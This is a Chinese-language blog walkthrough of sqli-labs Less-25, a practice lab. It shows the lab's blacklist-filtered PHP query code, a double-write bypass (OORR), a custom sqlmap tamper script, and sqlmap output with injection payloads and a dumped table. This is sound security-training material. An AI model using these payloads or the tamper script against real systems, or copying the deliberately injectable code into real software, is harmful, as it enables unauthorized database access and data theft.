当前位置: 首页 > news >正文

sqli-labs通关笔记-第25关GET字符注入(过滤or和and 脚本法)

目录

一、sqlmap之tamper脚本

二、源码分析

1、代码审计

2、SQL安全性分析

三、渗透实战

1、进入靶场

2、tamper脚本

3、sqlmap渗透 


SQLI-LABS 是一个专门为学习和练习 SQL 注入技术而设计的开源靶场环境,本小节对第25关Less 25基于GET字符型的SQL注入关卡进行渗透实战,该关卡过滤关键字and和or防止SQL注入攻击。

一、sqlmap之tamper脚本

sqlmap 是一款开源自动化 SQL 注入工具,支持多种注入类型,可探测、可渗透获取数据库信息,需在合法授权下使用。

tamper 脚本是 sqlmap 的插件,用于绕过防护机制,如编码转换、过滤关键词等,通过修改 Payload 结构提升注入成功率,适配不同防护场景,是工具灵活性和绕过能力的关键组件。tamper脚本允许用户自定义修改注入payload,主要用于绕过WAF/IDS/IPS等安全防护。以下是编tamper脚本的基本结构,具体如下所示。

#!/usr/bin/env pythonfrom lib.core.enums import PRIORITY__priority__ = PRIORITY.NORMAL  # 定义脚本优先级def dependencies():pass  # 定义依赖关系(可选)def tamper(payload, **kwargs):"""主处理函数,接收原始payload,返回修改后的payload"""return payload

二、源码分析

1、代码审计

本关卡Less25是基于GET字符型的SQL注入关卡,打开对应的源码index.php,如下所示。

Less25关卡功能是简单基于id的查询页面,详细注释后的代码如下所示。

<?php
// 包含数据库连接配置
include("../sql-connections/sqli-connect.php");// 检查是否传入了id参数
if(isset($_GET['id']))
{// 获取id参数并记录到日志文件$id=$_GET['id'];$fp=fopen('result.txt','a');fwrite($fp,'ID:'.$id."\n");fclose($fp);// 使用黑名单过滤输入$id= blacklist($id);$hint=$id; // 保存过滤后的输入用于提示// 构建并执行SQL查询$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";$result=mysqli_query($con1, $sql);$row = mysqli_fetch_array($result, MYSQLI_BOTH);if($row) {// 显示查询结果echo "<font size='5' color= '#99FF00'>";    echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "</font>";} else {// 显示错误信息(不安全)echo '<font color= "#FFFF00">';print_r(mysqli_error($con1));echo "</font>";  }
} else { // 未传入id参数时的提示echo "Please input the ID as parameter with numeric value";
}// 黑名单过滤函数
function blacklist($id)
{// 过滤OR和AND关键字(不区分大小写)$id= preg_replace('/or/i',"", $id);    // 移除OR$id= preg_replace('/AND/i',"", $id);   // 移除ANDreturn $id;
}
?>

本关卡实现了一个存在SQL注入风险的用户查询系统,它接收用户通过URL参数提交的ID值,使用黑名单过滤机制尝试移除其中的"OR"和"AND"关键字(不区分大小写)后,直接将过滤后的值拼接到SQL查询中从数据库查询相应用户信息,并将用户名和密码显示在网页上。

2、SQL安全性分析

系统虽然通过preg_replace()函数进行了简单的关键字过滤,单仍可通过双写关键字绕过过滤机制,导致依旧存在SQL注入风险,攻击者可以构造特殊输入来绕过过滤并执行恶意SQL命令,从而获取数据库敏感信息。此外,代码还直接将SQL错误信息输出到页面,进一步增加了信息泄露风险。 SQL语句如下所示。

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

由于源码过滤了关键字or,那么如果我们计划注入 id=1' OR 1=1 --+,只要将OR变为OORR,即可实现绕过。

id=1' OORR 1=1 --+

经过blacklist函数处理后,OORR中的OR被替换为空,OORR处理后变为了OR,注入语句变为如下所示,从而实现了服务器的过滤机制绕过。

1' OR 1=1 --+

三、渗透实战

1、进入靶场

进入sqli-labs靶场首页,其中包含基础注入关卡、进阶挑战关卡、特殊技术关卡三部分有效关卡,如下所示。

http://192.168.59.1/sqli-labs/

点击进入Page2,如下图红框所示。 

其中第25关在进阶挑战关卡“SQLi-LABS Page-2 (Adv Injections)”中, 点击进入如下页面。

http://192.168.59.1/sqli-labs/index-1.html#fm_imagemap

点击上图红框的Less25关卡,进入到靶场的第25关卡,页面提示“Please input the ID as parameter with numeric value”,并且在页面下方提示HINT信息“ Hint: Your Input is Filtered with following result: ”,具体如下所示。

http://192.168.59.1/sqli-labs/Less-25

2、tamper脚本

构造25.py脚本,使用双写方法绕过服务器对or和and关键字的过滤,将or替换为oorr,and替换为aandnd,具体内容如下所示。

#!/usr/bin/env python
'''
sqlmap 双写绕过
'''
from lib.core.compat import xrange
from lib.core.enums import PRIORITY__priority__ = PRIORITY.LOWdef dependencies():passdef tamper(payload, **kwargs):payload= payload.lower()payload= payload.replace('or' , 'oorr')payload= payload.replace('and' , 'anandd')retVal=payloadreturn retVal

3、sqlmap渗透 

 使用自己编写的tamper脚本25.py进行sqlmap渗透,具体命令如下所示。


sqlmap -u http://192.168.59.1/sqli-labs/Less-25/?id=1 --current-db  --batch  --tamper 25.py --dump
-u "URL"指定测试目标URL
--current-db获取当前数据库名称
--batch非交互模式,自动选择默认选项
--tamper double_and_or.py使用自定义tamper脚本绕过WAF过滤
--dump导出检测到的数据

如下所示,sqlmap渗透成功,可以通过联合注入法、报错法、布尔盲注、时间盲注方法渗透成功,具体信息如下所示。

GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 66 HTTP(s) requests:
---
Parameter: id (GET)Type: boolean-based blindTitle: AND boolean-based blind - WHERE or HAVING clausePayload: id=1' AND 6893=6893 AND 'onFr'='onFrType: error-basedTitle: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)Payload: id=1' AND GTID_SUBSET(CONCAT(0x716b6a7671,(SELECT (ELT(6554=6554,1))),0x71716b7171),6554) AND 'wxLL'='wxLLType: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: id=1' AND (SELECT 2664 FROM (SELECT(SLEEP(5)))QPhB) AND 'JOjg'='JOjgType: UNION queryTitle: Generic UNION query (NULL) - 3 columnsPayload: id=-1720' UNION ALL SELECT NULL,NULL,CONCAT(0x716b6a7671,0x6746774e61674d594677435552746a4242564d4a65476458566e48676c7a7a66717456756c726a57,0x71716b7171)-- -
---
[05:15:37] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[05:15:37] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.39, PHP 5.5.9
back-end DBMS: MySQL >= 5.6
[05:15:37] [INFO] fetching current database
current database: 'security'
[05:15:37] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[05:15:37] [INFO] fetching current database
[05:15:37] [INFO] fetching tables for database: 'security'
[05:15:37] [INFO] fetching columns for table 'emails' in database 'security'
[05:15:37] [INFO] fetching entries for table 'emails' in database 'security'
Database: security
Table: emails
[8 entries]
+----+------------------------+
| id | email_id               |
+----+------------------------+
| 1  | Dumb@dhakkan.com       |
| 2  | Angel@iloveu.com       |
| 3  | Dummy@dhakkan.local    |
| 4  | secure@dhakkan.local   |
| 5  | stupid@dhakkan.local   |
| 6  | superman@dhakkan.local |
| 7  | batman@dhakkan.local   |
| 8  | admin@dhakkan.com      |
+----+------------------------+
http://www.xdnf.cn/news/1209151.html

相关文章:

  • buuctf_crypto26-30
  • 基于变频与移相混合控制(PFM+PSM)的全桥LLC谐振变换器仿真模型
  • 车载诊断架构 --- 关于诊断时间参数P4的浅析
  • QML 3D曲面图(Surface3D)技术
  • K-近邻算法(KNN算法)的K值的选取--交叉验证+网格搜索
  • 【C++算法】72.队列+宽搜_二叉树的最大宽度
  • adb reboot 与 adb shell svc power reboot 的区别
  • 【C++】1. C++基础知识
  • 【HTML】浅谈 script 标签的 defer 和 async
  • 企业高性能web服务器
  • EnergyMath芯详科技 EMS4100/MES4000/MES3900
  • 如何保证DoIP的网络安全?
  • 基于 xlsx-js-style 的 Excel 导出工具实现导出excel
  • 40+个常用的Linux指令——下
  • haproxy应用详解
  • 从github同步新项目的两次挫折-2025.7.29
  • 【WRF工具】服务器中安装编译GrADS
  • 信创国产Linux操作系统汇总:从桌面到服务器,百花齐放
  • 【Golang】Go语言Map数据类型
  • 随缘玩 一: 代理模式
  • 计算器4.0:新增页签功能梳理页面,通过IO流实现在用户本地存储数据
  • MySQL数据库 mysql常用命令
  • 再谈亚马逊云科技(AWS)上海AI研究院7月22日关闭事件
  • 实现视频实时马赛克
  • P1098 [NOIP 2007 提高组] 字符串的展开
  • python案例:基于python 神经网络cnn和LDA主题分析的旅游景点满意度分析
  • 小程序中事件对象的属性与方法
  • 微算法科技(NASDAQ:MLGO)应用区块链联邦学习(BlockFL)架构,实现数据的安全传输
  • Django自带的加密算法
  • 3D游戏引擎的“眼睛“:相机系统深度揭秘与技术实现